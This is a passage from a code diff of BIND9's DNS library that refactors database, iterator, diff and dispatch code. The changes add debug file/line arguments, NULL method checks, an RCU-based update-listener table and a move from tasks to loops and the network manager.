-			unsigned int options, dns_rdataset_t *newrdataset) {
+dns__db_subtractrdataset(dns_db_t *db, dns_dbnode_t *node,
+			 dns_dbversion_t *version, dns_rdataset_t *rdataset,
+			 unsigned int options,
+			 dns_rdataset_t *newrdataset DNS__DB_FLARG) {
 	/*
 	 * Remove any rdata in 'rdataset' from 'node' in version 'version' of
 	 * 'db'.
@@ -739,14 +705,18 @@ dns_db_subtractrdataset(dns_db_t *db, dns_dbnode_t *node,
 		(DNS_RDATASET_VALID(newrdataset) &&
 		 !dns_rdataset_isassociated(newrdataset)));
 
-	return ((db->methods->subtractrdataset)(db, node, version, rdataset,
-						options, newrdataset));
+	if (db->methods->subtractrdataset != NULL) {
+		return ((db->methods->subtractrdataset)(
+			db, node, version, rdataset, options,
+			newrdataset DNS__DB_FLARG_PASS));
+	}
+	return (ISC_R_NOTIMPLEMENTED);
 }
 
 isc_result_t
-dns_db_deleterdataset(dns_db_t *db, dns_dbnode_t *node,
-		      dns_dbversion_t *version, dns_rdatatype_t type,
-		      dns_rdatatype_t covers) {
+dns__db_deleterdataset(dns_db_t *db, dns_dbnode_t *node,
+		       dns_dbversion_t *version, dns_rdatatype_t type,
+		       dns_rdatatype_t covers DNS__DB_FLARG) {
 	/*
 	 * Make it so that no rdataset of type 'type' exists at 'node' in
 	 * version version 'version' of 'db'.
@@ -757,14 +727,11 @@ dns_db_deleterdataset(dns_db_t *db, dns_dbnode_t *node,
 	REQUIRE(((db->attributes & DNS_DBATTR_CACHE) == 0 && version != NULL) ||
 		((db->attributes & DNS_DBATTR_CACHE) != 0 && version == NULL));
 
-	return ((db->methods->deleterdataset)(db, node, version, type, covers));
-}
-
-void
-dns_db_overmem(dns_db_t *db, bool overmem) {
-	REQUIRE(DNS_DB_VALID(db));
-
-	(db->methods->overmem)(db, overmem);
+	if (db->methods->deleterdataset != NULL) {
+		return ((db->methods->deleterdataset)(
+			db, node, version, type, covers DNS__DB_FLARG_PASS));
+	}
+	return (ISC_R_NOTIMPLEMENTED);
 }
 
 isc_result_t
@@ -814,10 +781,13 @@ dns_db_getsoaserial(dns_db_t *db, dns_dbversion_t *ver, uint32_t *serialp) {
 }
 
 unsigned int
-dns_db_nodecount(dns_db_t *db) {
+dns_db_nodecount(dns_db_t *db, dns_dbtree_t tree) {
 	REQUIRE(DNS_DB_VALID(db));
 
-	return ((db->methods->nodecount)(db));
+	if (db->methods->nodecount != NULL) {
+		return ((db->methods->nodecount)(db, tree));
+	}
+	return (0);
 }
 
 size_t
@@ -831,22 +801,13 @@ dns_db_hashsize(dns_db_t *db) {
 	return ((db->methods->hashsize)(db));
 }
 
-isc_result_t
-dns_db_adjusthashsize(dns_db_t *db, size_t size) {
-	REQUIRE(DNS_DB_VALID(db));
-
-	if (db->methods->adjusthashsize != NULL) {
-		return ((db->methods->adjusthashsize)(db, size));
-	}
-
-	return (ISC_R_NOTIMPLEMENTED);
-}
-
 void
-dns_db_settask(dns_db_t *db, isc_task_t *task) {
+dns_db_setloop(dns_db_t *db, isc_loop_t *loop) {
 	REQUIRE(DNS_DB_VALID(db));
 
-	(db->methods->settask)(db, task);
+	if (db->methods->setloop != NULL) {
+		(db->methods->setloop)(db, loop);
+	}
 }
 
 isc_result_t
@@ -857,7 +818,7 @@ dns_db_register(const char *name, dns_dbcreatefunc_t create, void *driverarg,
 	REQUIRE(name != NULL);
 	REQUIRE(dbimp != NULL && *dbimp == NULL);
 
-	RUNTIME_CHECK(isc_once_do(&once, initialize) == ISC_R_SUCCESS);
+	isc_once_do(&once, initialize);
 
 	RWLOCK(&implock, isc_rwlocktype_write);
 	imp = impfind(name);
@@ -887,7 +848,7 @@ dns_db_unregister(dns_dbimplementation_t **dbimp) {
 
 	REQUIRE(dbimp != NULL && *dbimp != NULL);
 
-	RUNTIME_CHECK(isc_once_do(&once, initialize) == ISC_R_SUCCESS);
+	isc_once_do(&once, initialize);
 
 	imp = *dbimp;
 	*dbimp = NULL;
@@ -899,13 +860,14 @@ dns_db_unregister(dns_dbimplementation_t **dbimp) {
 }
 
 isc_result_t
-dns_db_getoriginnode(dns_db_t *db, dns_dbnode_t **nodep) {
+dns__db_getoriginnode(dns_db_t *db, dns_dbnode_t **nodep DNS__DB_FLARG) {
 	REQUIRE(DNS_DB_VALID(db));
 	REQUIRE(dns_db_iszone(db));
 	REQUIRE(nodep != NULL && *nodep == NULL);
 
 	if (db->methods->getoriginnode != NULL) {
-		return ((db->methods->getoriginnode)(db, nodep));
+		return ((db->methods->getoriginnode)(db,
+						     nodep DNS__DB_FLARG_PASS));
 	}
 
 	return (ISC_R_NOTFOUND);
@@ -973,98 +935,106 @@ dns_db_setsigningtime(dns_db_t *db, dns_rdataset_t *rdataset,
 }
 
 isc_result_t
-dns_db_getsigningtime(dns_db_t *db, dns_rdataset_t *rdataset,
-		      dns_name_t *name) {
+dns__db_getsigningtime(dns_db_t *db, dns_rdataset_t *rdataset,
+		       dns_name_t *name DNS__DB_FLARG) {
 	if (db->methods->getsigningtime != NULL) {
-		return ((db->methods->getsigningtime)(db, rdataset, name));
+		return ((db->methods->getsigningtime)(db, rdataset,
+						      name DNS__DB_FLARG_PASS));
 	}
 	return (ISC_R_NOTFOUND);
 }
 
-void
-dns_db_resigned(dns_db_t *db, dns_rdataset_t *rdataset,
-		dns_dbversion_t *version) {
-	if (db->methods->resigned != NULL) {
-		(db->methods->resigned)(db, rdataset, version);
+static void
+call_updatenotify(dns_db_t *db) {
+	rcu_read_lock();
+	struct cds_lfht *update_listeners =
+		rcu_dereference(db->update_listeners);
+	if (update_listeners != NULL) {
+		struct cds_lfht_iter iter;
+		dns_dbonupdatelistener_t *listener;
+		cds_lfht_for_each_entry(update_listeners, &iter, listener,
+					ht_node) {
+			if (!cds_lfht_is_node_deleted(&listener->ht_node)) {
+				listener->onupdate(db, listener->onupdate_arg);
+			}
+		}
 	}
+	rcu_read_unlock();
 }
 
-/*
- * Attach a database to policy zone databases.
- * This should only happen when the caller has already ensured that
- * it is dealing with a database that understands response policy zones.
- */
-void
-dns_db_rpz_attach(dns_db_t *db, void *rpzs, uint8_t rpz_num) {
-	REQUIRE(db->methods->rpz_attach != NULL);
-	(db->methods->rpz_attach)(db, rpzs, rpz_num);
+static void
+updatenotify_free(struct rcu_head *rcu_head) {
+	dns_dbonupdatelistener_t *listener =
+		caa_container_of(rcu_head, dns_dbonupdatelistener_t, rcu_head);
+	isc_mem_putanddetach(&listener->mctx, listener, sizeof(*listener));
 }
 
-/*
- * Finish loading a response policy zone.
- */
-isc_result_t
-dns_db_rpz_ready(dns_db_t *db) {
-	if (db->methods->rpz_ready == NULL) {
-		return (ISC_R_SUCCESS);
-	}
-	return ((db->methods->rpz_ready)(db));
+static int
+updatenotify_match(struct cds_lfht_node *ht_node, const void *_key) {
+	const dns_dbonupdatelistener_t *listener =
+		caa_container_of(ht_node, dns_dbonupdatelistener_t, ht_node);
+	const dns_dbonupdatelistener_t *key = _key;
+
+	return (listener->onupdate == key->onupdate &&
+		listener->onupdate_arg == key->onupdate_arg);
 }
 
-/**
+/*
  * Attach a notify-on-update function the database
  */
-isc_result_t
+void
 dns_db_updatenotify_register(dns_db_t *db, dns_dbupdate_callback_t fn,
 			     void *fn_arg) {
-	dns_dbonupdatelistener_t *listener;
-
 	REQUIRE(db != NULL);
 	REQUIRE(fn != NULL);
 
-	listener = isc_mem_get(db->mctx, sizeof(dns_dbonupdatelistener_t));
-
-	listener->onupdate = fn;
-	listener->onupdate_arg = fn_arg;
-
-	ISC_LINK_INIT(listener, link);
-	ISC_LIST_APPEND(db->update_listeners, listener, link);
-
-	return (ISC_R_SUCCESS);
+	dns_dbonupdatelistener_t key = { .onupdate = fn,
+					 .onupdate_arg = fn_arg };
+	uint32_t hash = isc_hash32(&key, sizeof(key), true);
+	dns_dbonupdatelistener_t *listener = isc_mem_get(db->mctx,
+							 sizeof(*listener));
+	*listener = key;
+
+	isc_mem_attach(db->mctx, &listener->mctx);
+
+	rcu_read_lock();
+	struct cds_lfht *update_listeners =
+		rcu_dereference(db->update_listeners);
+	INSIST(update_listeners != NULL);
+	struct cds_lfht_node *ht_node =
+		cds_lfht_add_unique(update_listeners, hash, updatenotify_match,
+				    &key, &listener->ht_node);
+	rcu_read_unlock();
+
+	if (ht_node != &listener->ht_node) {
+		updatenotify_free(&listener->rcu_head);
+	}
 }
 
-isc_result_t
+void
 dns_db_updatenotify_unregister(dns_db_t *db, dns_dbupdate_callback_t fn,
 			       void *fn_arg) {
-	dns_dbonupdatelistener_t *listener;
-
-	REQUIRE(db != NULL);
-
-	for (listener = ISC_LIST_HEAD(db->update_listeners); listener != NULL;
-	     listener = ISC_LIST_NEXT(listener, link))
-	{
-		if ((listener->onupdate == fn) &&
-		    (listener->onupdate_arg == fn_arg)) {
-			ISC_LIST_UNLINK(db->update_listeners, listener, link);
-			isc_mem_put(db->mctx, listener,
-				    sizeof(dns_dbonupdatelistener_t));
-			return (ISC_R_SUCCESS);
-		}
-	}
-
-	return (ISC_R_NOTFOUND);
-}
-
-isc_result_t
-dns_db_nodefullname(dns_db_t *db, dns_dbnode_t *node, dns_name_t *name) {
 	REQUIRE(db != NULL);
-	REQUIRE(node != NULL);
-	REQUIRE(name != NULL);
 
-	if (db->methods->nodefullname == NULL) {
-		return (ISC_R_NOTIMPLEMENTED);
+	dns_dbonupdatelistener_t key = { .onupdate = fn,
+					 .onupdate_arg = fn_arg };
+	uint32_t hash = isc_hash32(&key, sizeof(key), true);
+	struct cds_lfht_iter iter;
+
+	rcu_read_lock();
+	struct cds_lfht *update_listeners =
+		rcu_dereference(db->update_listeners);
+	INSIST(update_listeners != NULL);
+	cds_lfht_lookup(update_listeners, hash, updatenotify_match, &key,
+			&iter);
+
+	struct cds_lfht_node *ht_node = cds_lfht_iter_get_node(&iter);
+	if (ht_node != NULL && !cds_lfht_del(update_listeners, ht_node)) {
+		dns_dbonupdatelistener_t *listener = caa_container_of(
+			ht_node, dns_dbonupdatelistener_t, ht_node);
+		call_rcu(&listener->rcu_head, updatenotify_free);
 	}
-	return ((db->methods->nodefullname)(db, node, name));
+	rcu_read_unlock();
 }
 
 isc_result_t
@@ -1122,3 +1092,47 @@ dns_db_setgluecachestats(dns_db_t *db, isc_stats_t *stats) {
 
 	return (ISC_R_NOTIMPLEMENTED);
 }
+
+isc_result_t
+dns_db_addglue(dns_db_t *db, dns_dbversion_t *version, dns_rdataset_t *rdataset,
+	       dns_message_t *msg) {
+	REQUIRE(DNS_DB_VALID(db));
+	REQUIRE((db->attributes & DNS_DBATTR_CACHE) == 0);
+	REQUIRE(DNS_RDATASET_VALID(rdataset));
+	REQUIRE(rdataset->methods != NULL);
+	REQUIRE(rdataset->type == dns_rdatatype_ns);
+
+	if (db->methods->addglue != NULL) {
+		return ((db->methods->addglue)(db, version, rdataset, msg));
+	}
+
+	return (ISC_R_NOTIMPLEMENTED);
+}
+
+void
+dns_db_locknode(dns_db_t *db, dns_dbnode_t *node, isc_rwlocktype_t type) {
+	if (db->methods->locknode != NULL) {
+		(db->methods->locknode)(db, node, type);
+	}
+}
+
+void
+dns_db_unlocknode(dns_db_t *db, dns_dbnode_t *node, isc_rwlocktype_t type) {
+	if (db->methods->unlocknode != NULL) {
+		(db->methods->unlocknode)(db, node, type);
+	}
+}
+
+void
+dns_db_expiredata(dns_db_t *db, dns_dbnode_t *node, void *data) {
+	if (db->methods->expiredata != NULL) {
+		(db->methods->expiredata)(db, node, data);
+	}
+}
+
+void
+dns_db_deletedata(dns_db_t *db, dns_dbnode_t *node, void *data) {
+	if (db->methods->deletedata != NULL) {
+		(db->methods->deletedata)(db, node, data);
+	}
+}
diff --git a/lib/dns/dbiterator.c b/lib/dns/dbiterator.c
index b71d37fdbe..eaa8eba229 100644
--- a/lib/dns/dbiterator.c
+++ b/lib/dns/dbiterator.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -19,7 +21,7 @@
 #include <dns/name.h>
 
 void
-dns_dbiterator_destroy(dns_dbiterator_t **iteratorp) {
+dns__dbiterator_destroy(dns_dbiterator_t **iteratorp DNS__DB_FLARG) {
 	/*
 	 * Destroy '*iteratorp'.
 	 */
@@ -27,69 +29,70 @@ dns_dbiterator_destroy(dns_dbiterator_t **iteratorp) {
 	REQUIRE(iteratorp != NULL);
 	REQUIRE(DNS_DBITERATOR_VALID(*iteratorp));
 
-	(*iteratorp)->methods->destroy(iteratorp);
+	(*iteratorp)->methods->destroy(iteratorp DNS__DB_FLARG_PASS);
 
 	ENSURE(*iteratorp == NULL);
 }
 
 isc_result_t
-dns_dbiterator_first(dns_dbiterator_t *iterator) {
+dns__dbiterator_first(dns_dbiterator_t *iterator DNS__DB_FLARG) {
 	/*
 	 * Move the node cursor to the first node in the database (if any).
 	 */
 
 	REQUIRE(DNS_DBITERATOR_VALID(iterator));
 
-	return (iterator->methods->first(iterator));
+	return (iterator->methods->first(iterator DNS__DB_FLARG_PASS));
 }
 
 isc_result_t
-dns_dbiterator_last(dns_dbiterator_t *iterator) {
+dns__dbiterator_last(dns_dbiterator_t *iterator DNS__DB_FLARG) {
 	/*
 	 * Move the node cursor to the first node in the database (if any).
 	 */
 
 	REQUIRE(DNS_DBITERATOR_VALID(iterator));
 
-	return (iterator->methods->last(iterator));
+	return (iterator->methods->last(iterator DNS__DB_FLARG_PASS));
 }
 
 isc_result_t
-dns_dbiterator_seek(dns_dbiterator_t *iterator, const dns_name_t *name) {
+dns__dbiterator_seek(dns_dbiterator_t *iterator,
+		     const dns_name_t *name DNS__DB_FLARG) {
 	/*
 	 * Move the node cursor to the node with name 'name'.
 	 */
 
 	REQUIRE(DNS_DBITERATOR_VALID(iterator));
 
-	return (iterator->methods->seek(iterator, name));
+	return (iterator->methods->seek(iterator, name DNS__DB_FLARG_PASS));
 }
 
 isc_result_t
-dns_dbiterator_prev(dns_dbiterator_t *iterator) {
+dns__dbiterator_prev(dns_dbiterator_t *iterator DNS__DB_FLARG) {
 	/*
 	 * Move the node cursor to the previous node in the database (if any).
 	 */
 
 	REQUIRE(DNS_DBITERATOR_VALID(iterator));
 
-	return (iterator->methods->prev(iterator));
+	return (iterator->methods->prev(iterator DNS__DB_FLARG_PASS));
 }
 
 isc_result_t
-dns_dbiterator_next(dns_dbiterator_t *iterator) {
+dns__dbiterator_next(dns_dbiterator_t *iterator DNS__DB_FLARG) {
 	/*
 	 * Move the node cursor to the next node in the database (if any).
 	 */
 
 	REQUIRE(DNS_DBITERATOR_VALID(iterator));
 
-	return (iterator->methods->next(iterator));
+	return (iterator->methods->next(iterator DNS__DB_FLARG_PASS));
 }
 
 isc_result_t
-dns_dbiterator_current(dns_dbiterator_t *iterator, dns_dbnode_t **nodep,
-		       dns_name_t *name) {
+dns__dbiterator_current(dns_dbiterator_t *iterator, dns_dbnode_t **nodep,
+			dns_name_t *name DNS__DB_FLARG) {
 	/*
 	 * Return the current node.
 	 */
@@ -98,7 +101,8 @@ dns_dbiterator_current(dns_dbiterator_t *iterator, dns_dbnode_t **nodep,
 	REQUIRE(nodep != NULL && *nodep == NULL);
 	REQUIRE(name == NULL || dns_name_hasbuffer(name));
 
-	return (iterator->methods->current(iterator, nodep, name));
+	return (iterator->methods->current(iterator, nodep,
+					   name DNS__DB_FLARG_PASS));
 }
 
 isc_result_t
@@ -124,10 +128,3 @@ dns_dbiterator_origin(dns_dbiterator_t *iterator, dns_name_t *name) {
 
 	return (iterator->methods->origin(iterator, name));
 }
-
-void
-dns_dbiterator_setcleanmode(dns_dbiterator_t *iterator, bool mode) {
-	REQUIRE(DNS_DBITERATOR_VALID(iterator));
-
-	iterator->cleaning = mode;
-}
diff --git a/lib/dns/diff.c b/lib/dns/diff.c
index 2adce92ec4..e4bfceefa8 100644
--- a/lib/dns/diff.c
+++ b/lib/dns/diff.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -18,7 +20,7 @@
 #include <isc/buffer.h>
 #include <isc/file.h>
 #include <isc/mem.h>
-#include <isc/print.h>
+#include <isc/result.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
@@ -30,7 +32,6 @@
 #include <dns/rdataset.h>
 #include <dns/rdatastruct.h>
 #include <dns/rdatatype.h>
-#include <dns/result.h>
 #include <dns/time.h>
 
 #define CHECK(op)                            \
@@ -174,8 +175,7 @@ dns_diff_appendminimal(dns_diff_t *diff, dns_difftuple_t **tuplep) {
 		{
 			ISC_LIST_UNLINK(diff->tuples, ot, link);
 			if ((*tuplep)->op == ot->op) {
-				UNEXPECTED_ERROR(__FILE__, __LINE__,
-						 "unexpected non-minimal diff");
+				UNEXPECTED_ERROR("unexpected non-minimal diff");
 			} else {
 				dns_difftuple_free(tuplep);
 			}
@@ -302,7 +302,8 @@ diff_apply(dns_diff_t *diff, dns_db_t *db, dns_dbversion_t *ver, bool warn) {
 
 			node = NULL;
 			if (type != dns_rdatatype_nsec3 &&
-			    covers != dns_rdatatype_nsec3) {
+			    covers != dns_rdatatype_nsec3)
+			{
 				CHECK(dns_db_findnode(db, name, true, &node));
 			} else {
 				CHECK(dns_db_findnsec3node(db, name, true,
@@ -347,7 +348,7 @@ diff_apply(dns_diff_t *diff, dns_db_t *db, dns_dbversion_t *ver, bool warn) {
 			 */
 			dns_rdataset_init(&rds);
 			dns_rdataset_init(&ardataset);
-			CHECK(dns_rdatalist_tordataset(&rdl, &rds));
+			dns_rdatalist_tordataset(&rdl, &rds);
 			rds.trust = dns_trust_ultimate;
 
 			/*
@@ -370,8 +371,7 @@ diff_apply(dns_diff_t *diff, dns_db_t *db, dns_dbversion_t *ver, bool warn) {
 								 &ardataset);
 				break;
 			default:
-				INSIST(0);
-				ISC_UNREACHABLE();
+				UNREACHABLE();
 			}
 
 			if (result == ISC_R_SUCCESS) {
@@ -385,11 +385,13 @@ diff_apply(dns_diff_t *diff, dns_db_t *db, dns_dbversion_t *ver, bool warn) {
 							      resign);
 				}
 				if (op == DNS_DIFFOP_ADD ||
-				    op == DNS_DIFFOP_ADDRESIGN) {
+				    op == DNS_DIFFOP_ADDRESIGN)
+				{
 					setownercase(&ardataset, name);
 				}
 				if (op == DNS_DIFFOP_DEL ||
-				    op == DNS_DIFFOP_DELRESIGN) {
+				    op == DNS_DIFFOP_DELRESIGN)
+				{
 					getownercase(&ardataset, name);
 				}
 			} else if (result == DNS_R_UNCHANGED) {
@@ -415,11 +417,13 @@ diff_apply(dns_diff_t *diff, dns_db_t *db, dns_dbversion_t *ver, bool warn) {
 						      namebuf, classbuf);
 				}
 				if (op == DNS_DIFFOP_ADD ||
-				    op == DNS_DIFFOP_ADDRESIGN) {
+				    op == DNS_DIFFOP_ADDRESIGN)
+				{
 					setownercase(&ardataset, name);
 				}
 				if (op == DNS_DIFFOP_DEL ||
-				    op == DNS_DIFFOP_DELRESIGN) {
+				    op == DNS_DIFFOP_DELRESIGN)
+				{
 					getownercase(&ardataset, name);
 				}
 			} else if (result == DNS_R_NXRRSET) {
@@ -427,7 +431,8 @@ diff_apply(dns_diff_t *diff, dns_db_t *db, dns_dbversion_t *ver, bool warn) {
 				 * OK.
 				 */
 				if (op == DNS_DIFFOP_DEL ||
-				    op == DNS_DIFFOP_DELRESIGN) {
+				    op == DNS_DIFFOP_DELRESIGN)
+				{
 					getownercase(&ardataset, name);
 				}
 				if (dns_rdataset_isassociated(&ardataset)) {
@@ -508,18 +513,20 @@ dns_diff_load(dns_diff_t *diff, dns_addrdatasetfunc_t addfunc,
 			 * Convert the rdatalist into a rdataset.
 			 */
 			dns_rdataset_init(&rds);
-			CHECK(dns_rdatalist_tordataset(&rdl, &rds));
+			dns_rdatalist_tordataset(&rdl, &rds);
 			rds.trust = dns_trust_ultimate;
 
 			INSIST(op == DNS_DIFFOP_ADD);
-			result = (*addfunc)(add_private, name, &rds);
+			result = (*addfunc)(add_private, name,
+					    &rds DNS__DB_FILELINE);
 			if (result == DNS_R_UNCHANGED) {
 				isc_log_write(DIFF_COMMON_LOGARGS,
 					      ISC_LOG_WARNING,
 					      "dns_diff_load: "
 					      "update with no effect");
 			} else if (result == ISC_R_SUCCESS ||
-				   result == DNS_R_NXRRSET) {
+				   result == DNS_R_NXRRSET)
+			{
 				/*
 				 * OK.
 				 */
@@ -546,13 +553,14 @@ dns_diff_sort(dns_diff_t *diff, dns_diff_compare_func *compare) {
 	REQUIRE(DNS_DIFF_VALID(diff));
 
 	for (p = ISC_LIST_HEAD(diff->tuples); p != NULL;
-	     p = ISC_LIST_NEXT(p, link)) {
+	     p = ISC_LIST_NEXT(p, link))
+	{
 		length++;
 	}
 	if (length == 0) {
 		return (ISC_R_SUCCESS);
 	}
-	v = isc_mem_get(diff->mctx, length * sizeof(dns_difftuple_t *));
+	v = isc_mem_cget(diff->mctx, length, sizeof(dns_difftuple_t *));
 	for (i = 0; i < length; i++) {
 		p = ISC_LIST_HEAD(diff->tuples);
 		v[i] = p;
@@ -563,7 +571,7 @@ dns_diff_sort(dns_diff_t *diff, dns_diff_compare_func *compare) {
 	for (i = 0; i < length; i++) {
 		ISC_LIST_APPEND(diff->tuples, v[i], link);
 	}
-	isc_mem_put(diff->mctx, v, length * sizeof(dns_difftuple_t *));
+	isc_mem_cput(diff->mctx, v, length, sizeof(dns_difftuple_t *));
 	return (ISC_R_SUCCESS);
 }
 
@@ -573,7 +581,7 @@ dns_diff_sort(dns_diff_t *diff, dns_diff_compare_func *compare) {
  * an rdatalist structure for it to refer to.
  */
 
-static isc_result_t
+static void
 diff_tuple_tordataset(dns_difftuple_t *t, dns_rdata_t *rdata,
 		      dns_rdatalist_t *rdl, dns_rdataset_t *rds) {
 	REQUIRE(DNS_DIFFTUPLE_VALID(t));
@@ -588,7 +596,7 @@ diff_tuple_tordataset(dns_difftuple_t *t, dns_rdata_t *rdata,
 	ISC_LINK_INIT(rdata, link);
 	dns_rdata_clone(&t->rdata, rdata);
 	ISC_LIST_APPEND(rdl->rdata, rdata, link);
-	return (dns_rdatalist_tordataset(rdl, rds));
+	dns_rdatalist_tordataset(rdl, rds);
 }
 
 isc_result_t
@@ -604,7 +612,8 @@ dns_diff_print(dns_diff_t *diff, FILE *file) {
 	mem = isc_mem_get(diff->mctx, size);
 
 	for (t = ISC_LIST_HEAD(diff->tuples); t != NULL;
-	     t = ISC_LIST_NEXT(t, link)) {
+	     t = ISC_LIST_NEXT(t, link))
+	{
 		isc_buffer_t buf;
 		isc_region_t r;
 
@@ -612,14 +621,7 @@ dns_diff_print(dns_diff_t *diff, FILE *file) {
 		dns_rdataset_t rds;
 		dns_rdata_t rd = DNS_RDATA_INIT;
 
-		result = diff_tuple_tordataset(t, &rd, &rdl, &rds);
-		if (result != ISC_R_SUCCESS) {
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "diff_tuple_tordataset failed: %s",
-					 dns_result_totext(result));
-			result = ISC_R_UNEXPECTED;
-			goto cleanup;
-		}
+		diff_tuple_tordataset(t, &rd, &rdl, &rds);
 	again:
 		isc_buffer_init(&buf, mem, size);
 		result = dns_rdataset_totext(&rds, &t->name, false, false,
diff --git a/lib/dns/dispatch.c b/lib/dns/dispatch.c
index f226d156bf..d79614522e 100644
--- a/lib/dns/dispatch.c
+++ b/lib/dns/dispatch.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -17,222 +19,123 @@
 #include <sys/types.h>
 #include <unistd.h>
 
+#include <isc/atomic.h>
+#include <isc/loop.h>
 #include <isc/mem.h>
 #include <isc/mutex.h>
+#include <isc/net.h>
+#include <isc/netmgr.h>
 #include <isc/portset.h>
-#include <isc/print.h>
 #include <isc/random.h>
-#include <isc/socket.h>
 #include <isc/stats.h>
 #include <isc/string.h>
-#include <isc/task.h>
+#include <isc/tid.h>
 #include <isc/time.h>
+#include <isc/tls.h>
 #include <isc/util.h>
 
 #include <dns/acl.h>
 #include <dns/dispatch.h>
-#include <dns/events.h>
 #include <dns/log.h>
 #include <dns/message.h>
 #include <dns/stats.h>
-#include <dns/tcpmsg.h>
+#include <dns/transport.h>
 #include <dns/types.h>
 
 typedef ISC_LIST(dns_dispentry_t) dns_displist_t;
 
-typedef struct dispsocket dispsocket_t;
-typedef ISC_LIST(dispsocket_t) dispsocketlist_t;
-
-typedef struct dispportentry dispportentry_t;
-typedef ISC_LIST(dispportentry_t) dispportlist_t;
-
 typedef struct dns_qid {
 	unsigned int magic;
+	isc_mutex_t lock;
 	unsigned int qid_nbuckets;  /*%< hash table size */
 	unsigned int qid_increment; /*%< id increment on collision */
-	isc_mutex_t lock;
-	dns_displist_t *qid_table;    /*%< the table itself */
-	dispsocketlist_t *sock_table; /*%< socket table */
+	dns_displist_t *qid_table;  /*%< the table itself */
 } dns_qid_t;
 
 struct dns_dispatchmgr {
 	/* Unlocked. */
 	unsigned int magic;
+	isc_refcount_t references;
 	isc_mem_t *mctx;
 	dns_acl_t *blackhole;
 	isc_stats_t *stats;
+	isc_nm_t *nm;
 
 	/* Locked by "lock". */
 	isc_mutex_t lock;
-	unsigned int state;
 	ISC_LIST(dns_dispatch_t) list;
 
-	/* locked by buffer_lock */
 	dns_qid_t *qid;
-	isc_mutex_t buffer_lock;
-	unsigned int buffers;	 /*%< allocated buffers */
-	unsigned int buffersize; /*%< size of each buffer */
-	unsigned int maxbuffers; /*%< max buffers */
-
-	/* Locked internally. */
-	isc_mutex_t depool_lock;
-	isc_mempool_t *depool; /*%< pool for dispatch events */
-	isc_mutex_t rpool_lock;
-	isc_mempool_t *rpool; /*%< pool for replies */
-	isc_mutex_t dpool_lock;
-	isc_mempool_t *dpool; /*%< dispatch allocations */
-	isc_mutex_t bpool_lock;
-	isc_mempool_t *bpool; /*%< pool for buffers */
-	isc_mutex_t spool_lock;
-	isc_mempool_t *spool; /*%< pool for dispsocks */
-
-	/*%
-	 * Locked by qid->lock if qid exists; otherwise, can be used without
-	 * being locked.
-	 * Memory footprint considerations: this is a simple implementation of
-	 * available ports, i.e., an ordered array of the actual port numbers.
-	 * This will require about 256KB of memory in the worst case (128KB for
-	 * each of IPv4 and IPv6).  We could reduce it by representing it as a
-	 * more sophisticated way such as a list (or array) of ranges that are
-	 * searched to identify a specific port.  Our decision here is the saved
-	 * memory isn't worth the implementation complexity, considering the
-	 * fact that the whole BIND9 process (which is mainly named) already
-	 * requires a pretty large memory footprint.  We may, however, have to
-	 * revisit the decision when we want to use it as a separate module for
-	 * an environment where memory requirement is severer.
-	 */
+
 	in_port_t *v4ports;    /*%< available ports for IPv4 */
 	unsigned int nv4ports; /*%< # of available ports for IPv4 */
 	in_port_t *v6ports;    /*%< available ports for IPv4 */
 	unsigned int nv6ports; /*%< # of available ports for IPv4 */
 };
 
-#define MGR_SHUTTINGDOWN       0x00000001U
-#define MGR_IS_SHUTTINGDOWN(l) (((l)->state & MGR_SHUTTINGDOWN) != 0)
-
-#define IS_PRIVATE(d) (((d)->attributes & DNS_DISPATCHATTR_PRIVATE) != 0)
+typedef enum {
+	DNS_DISPATCHSTATE_NONE = 0UL,
+	DNS_DISPATCHSTATE_CONNECTING,
+	DNS_DISPATCHSTATE_CONNECTED,
+	DNS_DISPATCHSTATE_CANCELED,
+} dns_dispatchstate_t;
 
 struct dns_dispentry {
 	unsigned int magic;
+	isc_refcount_t references;
 	dns_dispatch_t *disp;
-	dns_messageid_t id;
-	in_port_t port;
+	isc_loop_t *loop;
+	isc_nmhandle_t *handle; /*%< netmgr handle for UDP connection */
+	dns_dispatchstate_t state;
+	dns_transport_t *transport;
+	isc_tlsctx_cache_t *tlsctx_cache;
 	unsigned int bucket;
-	isc_sockaddr_t host;
-	isc_task_t *task;
-	isc_taskaction_t action;
+	unsigned int retries;
+	unsigned int timeout;
+	isc_time_t start;
+	isc_sockaddr_t local;
+	isc_sockaddr_t peer;
+	in_port_t port;
+	dns_messageid_t id;
+	dispatch_cb_t connected;
+	dispatch_cb_t sent;
+	dispatch_cb_t response;
 	void *arg;
-	bool item_out;
-	dispsocket_t *dispsocket;
-	ISC_LIST(dns_dispatchevent_t) items;
+	bool reading;
+	isc_result_t result;
 	ISC_LINK(dns_dispentry_t) link;
+	ISC_LINK(dns_dispentry_t) alink;
+	ISC_LINK(dns_dispentry_t) plink;
+	ISC_LINK(dns_dispentry_t) rlink;
 };
 
-/*%
- * Maximum number of dispatch sockets that can be pooled for reuse.  The
- * appropriate value may vary, but experiments have shown a busy caching server
- * may need more than 1000 sockets concurrently opened.  The maximum allowable
- * number of dispatch sockets (per manager) will be set to the double of this
- * value.
- */
-#ifndef DNS_DISPATCH_POOLSOCKS
-#define DNS_DISPATCH_POOLSOCKS 2048
-#endif /* ifndef DNS_DISPATCH_POOLSOCKS */
-
-/*%
- * Quota to control the number of dispatch sockets.  If a dispatch has more
- * than the quota of sockets, new queries will purge oldest ones, so that
- * a massive number of outstanding queries won't prevent subsequent queries
- * (especially if the older ones take longer time and result in timeout).
- */
-#ifndef DNS_DISPATCH_SOCKSQUOTA
